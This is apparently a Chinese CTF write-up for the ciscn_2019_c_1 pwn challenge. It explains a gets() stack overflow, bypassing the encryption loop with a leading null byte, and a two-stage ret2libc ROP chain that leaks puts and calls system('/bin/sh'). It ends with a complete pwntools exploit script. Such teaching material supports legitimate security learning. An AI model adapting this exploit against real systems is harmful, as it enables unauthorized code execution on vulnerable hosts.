文章目录
文件和保护机制检查
使用checksec和file来判断文件的保护机制以及文件
shell
file ciscn_2019_c_1
checksec ciscn_2019_c_1

可以看到是64位程序,并且开启了NX保护
shell
#使用./执行一下看程序的逻辑
./ciscn_2019_c_1

使用pe查壳

ida静态分析
使用ida pro先静态分析
可以看到这里使用了2个函数begin和encrypt,追踪查看


看到main中是一个while循环,当输入的值为1的时候,进入到encrypt函数

可以看到这里使用gets函数写入到s中,s是数组长度为48,中间就是一个异或过程

双击数组s,可以看到长度为0x50 ,又因为64位程序,我们加入8即可到达返回地址
但是这里有个需要注意的点:
**看到了一个函数------strlen(strlen的作用是得知字符串的长度,但是遇到'\0'就会停止)
**然后再下面就是把我们输入的东西加密的过程了,但是我们的脚本不能让它加密,加密了我们的脚本也就被破坏了,没用了,所以我们要让它在到strlen函数的时候停止 之后在进行我们的脚本
开头一个\x00进行输入,然后strlen就等于0,然后你输入的小于等于0,直接break,直接就跳出了这个循环之中,所有写的都写入了gets中没有任何运算
接着来看有没有可以直接溢出后返回的可用地址
明显没有例如system /bin/sh这样的字符串,那么这里就需要使用到re2libc了
64位程序的传参需要首先使用rdi,rsi,rdx,rcx,r8,r9,所以我们需要使用ROPgadget来寻找
shell
ROPgadget --binary ciscn_2019_c_1 --only "pop|ret"

这些都是可以使用的
构造ROP链
接着就需要来构造rop链了
分析ida我们看到是有一个puts函数的,我们可以使用rop链来暴露出来puts函数在got表中的地址,我们只需要返回地址加入puts_plt表的地址,参数设置为puts_got表的地址,就可以暴露出来puts函数的地址,即
shell
垃圾数据
pop_rdi_ret_addr
put_got_addr
put_plt_addr
main_addr
##最后回到main函数,不让程序结束,继续发送payload构造第二次攻击,拿到shell
这样之后,再一次利用得到的puts_got表中的地址,和puts函数在当前的libc库中的偏移地址得到libc的基地址,然后利用system和bin/sh的偏移量得到system和bin/sh的地址,然后继续构造栈帧即可!
shell
垃圾数据
ret_addr
pop_rdi_ret_addr
bin_sh_addr
system_addr
#这里ret_addr是因为我们在64位程序中调用了system函数,存在一个栈对齐问题,在x64架构中,System V AMD64 ABI调用约定要求函数调用时栈指针必须16字节对齐
#如果不调用ret地址,就会导致段错误,从而报错,所以这里可以多次测试,如果不报错就尅也不加入ret地址,如果报错就加入ret地址即可!
大体的思路分析完成之后,就可以构造exp来攻击了
- 如果需要知道本地libc的地址使用ldd命令
shell
ldd ciscn_2019_c_1

exp
python
from pwn import *
from LibcSearcher import *
########################################################################################################################
con=0
if con:
print('当前程序是32位的:')
sleep(3)
context(log_level='debug', arch='i386', os='linux')
else:
print("当前程序是64位的")
sleep(3)
context(log_level='debug', arch='amd64', os='linux')
context.terminal = ['tmux', 'splitw', '-h']
########################################################################################################################
def test_attach():
gdb.attach(io)
pause()
def p():
pause()
########################################################################################################################
# 文件名
filename ='文件地址'
libc_addr='libc地址'
elf=ELF(filename)
libc1 = ELF(libc_addr)
########################################################################################################################
#连接方式
debug = 0
#node5.buuoj.cn:26635
if debug:
io = remote('远程主机地址', 端口号)
print('############################################################')
print('准备开始打远程:')
sleep(1)
else:
io=process(filename)
print('############################################################')
print('准备开始打本地:')
sleep(1)
########################################################################################################################
padding=0x4F+8 #因为有strlen函数,所以发送一个0x49第一个字节发送\0
puts_plt=elf.plt['puts'] #寻找plt表中puts函数的地址
puts_got=elf.got['puts'] #寻找got表中puts函数地址
main_addr=elf.symbols['main'] #寻找程序中main函数地址
ret_addr=0x04006b9 #使用ROPgadget找的ret地址
pop_rdi_ret=0x400c83 #使用ROPgadget找的pop_rdi_ret地址
print(f'main函数的地址为:{hex(main_addr)}')
print('put_plt表的地址为:',hex(puts_plt))
print('put_got表的地址为:',hex(puts_got)) #这里确保地址不出错误,可以和idapro中分析的地址做对比
payload=b'\00'+b'a'*padding #填满垃圾数据
payload+=p64(pop_rdi_ret)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main_addr)
##按照上述思路中的内容写的
########################################################################################################################
test1='Input your choice!\n'
test2='Input your Plaintext to be encrypted\n'##这是两个接收条件,按照题来分析得到
########################################################################################################################
print('准备开始发送数据包:')
sleep(1)
#io.sendafter(test1,b'1')
print('开始发送第一个数据1:')
io.sendlineafter(test1,'1') #发送1进入encrypt函数
sleep(1)
print('开始发送payload:')
io.sendlineafter(test2,payload)
sleep(2)
print('开始接收数据:')
io.recvline()
io.recvline() #这里必须接收两个值,第二个接收的值是'\n' 如果只是接收一个后续就不会接收到put_gots表中的内容,这里我做了多次测试得到的结果
b=io.recvuntil('\n')[:-1].ljust(8, b'\x00') #由于这里会接收到一个随机的十六机制的值,但是是以\n结尾的,所以这里需要去掉\n取8位,所以不足的需要补充\00
print('截取的数据包为:',b)
puts_got_addr=u64(b)
print("u64解包之后的数据包为:",puts_got_addr)
print('十六进制之后的数据包为:',hex(puts_got_addr))
########################################################################################################################
libc=0
if libc:
print('使用libcsearch来寻找')
sleep(3)
libc=LibcSearcher("puts",puts_got_addr) #根据泄露的函数地址,自动识别目标系统使用的libc版本
libcbase_addr=puts_got_addr-libc.dump("puts") #求出来基地址
print(f'libc基地址为:{hex(libcbase_addr)}')
system_addr=libcbase_addr+libc.dump('system') #利用基地址和偏移量得到system地址
bin_sh_addr=libcbase_addr+libc.dump('str_bin_sh') #利用基地址和偏移量得到bin/sh地址
print(f'system在libc中的地址为:{hex(system_addr)}')
print(f'/bin/sh在libc中的地址为:{hex(bin_sh_addr)}')
else:
print('使用本地libc来寻找') #如果要使用本地libc需要知道本地libc地址
sleep(3)
libcbase_addr = puts_got_addr - libc1.symbols['puts']
system_addr = libcbase_addr + libc1.sym['system']
bin_sh_addr = libcbase_addr + libc1.search(b'/bin/sh\x00').__next__() #本地获取/bin/sh地址的时候有些许的不同,这个好像是固定格式
print(f'libc基地址为:{hex(libcbase_addr)}')
print(f'system在libc中的地址为:{hex(system_addr)}')
print(f'/bin/sh在libc中的地址为:{hex(bin_sh_addr)}')
########################################################################################################################
payload1=b'\00'+b'a'*padding #构造第二次栈帧发送数据即可!
payload1+=p64(ret_addr)
payload1+=p64(pop_rdi_ret)
payload1+=p64(bin_sh_addr)
payload1+=p64(system_addr)
io.sendlineafter(test1,'1')
io.sendlineafter(test2,payload1) #按照我们上面的思路构造栈帧即可
########################################################################################################################
print('发送成功')
io.interactive()

可以看到这里就成功getshell了!
re2libc最重要的是思路,有了思路之后,payload构造就十分简单了,这里提供一个思路.